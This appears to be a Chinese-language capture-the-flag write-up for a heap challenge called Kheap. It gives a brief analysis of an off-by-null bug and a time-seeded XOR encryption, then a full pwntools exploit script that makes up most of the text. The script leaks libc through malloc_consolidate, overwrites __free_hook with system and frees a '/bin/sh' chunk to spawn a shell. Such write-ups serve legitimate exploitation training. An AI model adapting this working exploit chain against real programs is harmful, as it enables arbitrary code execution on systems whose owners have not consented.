保护是全开的
add
我们注意到首先会对我们的输入内容进行加密。
加密的算法里面大量用到随机数,但是不重要,伪随机我们可以通过在脚本中使用随机数来绕过。
有个off by null。
delete
正常delete,没啥问题。
edit
也存在那个off by off。
show
正常show,show出来我们需要解密。
所以整体看下来就是off by null然后加了一个加密程序。
我们只需要通过随机数绕过那个加密,利用malloc consilidate解决chunk大小不够,不好泄露地址的问题,就可以了。
exp
#coding:utf-8
from pwn import *
from ctypes import *
context.log_level='debug'
context.arch='amd64'
elf=ELF('./Kheap')
libc=ELF('/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.27-3ubuntu1_amd64/libc.so.6')
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
time=libcc.time(0)
libcc.srand(time)
r = process('./Kheap')
def decode(a,b):
s=''
p=libcc.rand()%256
q=libcc.rand()%256
m=libcc.rand()%256
global n
if p+q>m:
n=(p+q)%m
else:
n=p+q
for idx in range(b):
s+=chr(ord(a[idx])^n)
return s
def add(a,b):
r.sendlineafter('Chioce >> ','1')
r.sendlineafter('Size: ',str(a))
b=decode(b,len(b))
r.sendafter('Note: ',b)
def edit(a,b):
r.sendlineafter('Chioce >> ','3')
r.sendlineafter('Index: ',str(a))
b=decode(b,len(b))
r.sendafter('Note: ',b)
def show(a):
r.sendlineafter('Chioce >> ','4')
r.sendlineafter('Index: ',str(a))
def delete(a):
r.sendlineafter('Chioce >> ','2')
r.sendlineafter('Index: ',str(a))
for i in range(0x10):
add(0x78,'/bin/sh\x00')
for i in range(0x7):
delete(0xf-i)
for i in range(3):
delete(0xf-8-i)
r.sendline('1'*0x500)
edit(4,'\x00'*0x70+p64(0x280))
for i in range(0x8):
add(0x78,'aaaaaaa')
add(0x78,'aaaaaaa')
key=n
show(0xe)
r.recvuntil('aaaaaaa')
data=r.recv(9)[1:]
libc_base_str=''
for i in range(8):
libc_base_str+=chr(ord(data[i])^key)
libc_base=u64(libc_base_str)-libc.sym['__malloc_hook']-96-0x10
libc.address=libc_base
bin_sh_addr=libc.search('/bin/sh\x00').next()
system_addr=libc.sym['system']
for i in range(3):
delete(0xf-8-i)
for i in range(5):
delete(0xf-6+i)
r.sendline('1'*0x500) #malloc consilidate
delete(8)
r.sendline('1'*0x500) #malloc consilidate
for i in range(3):
add(0x78,'aaaaaaa')
delete(0xe)
add(0x58,'aaaaaaaa')
add(0x58,'\x00'*0x18+p64(0x81)+p64(libc.sym['__free_hook']))
add(0x78,'aaaaaaa')
add(0x78,p64(system_addr))
delete(0)
r.interactive()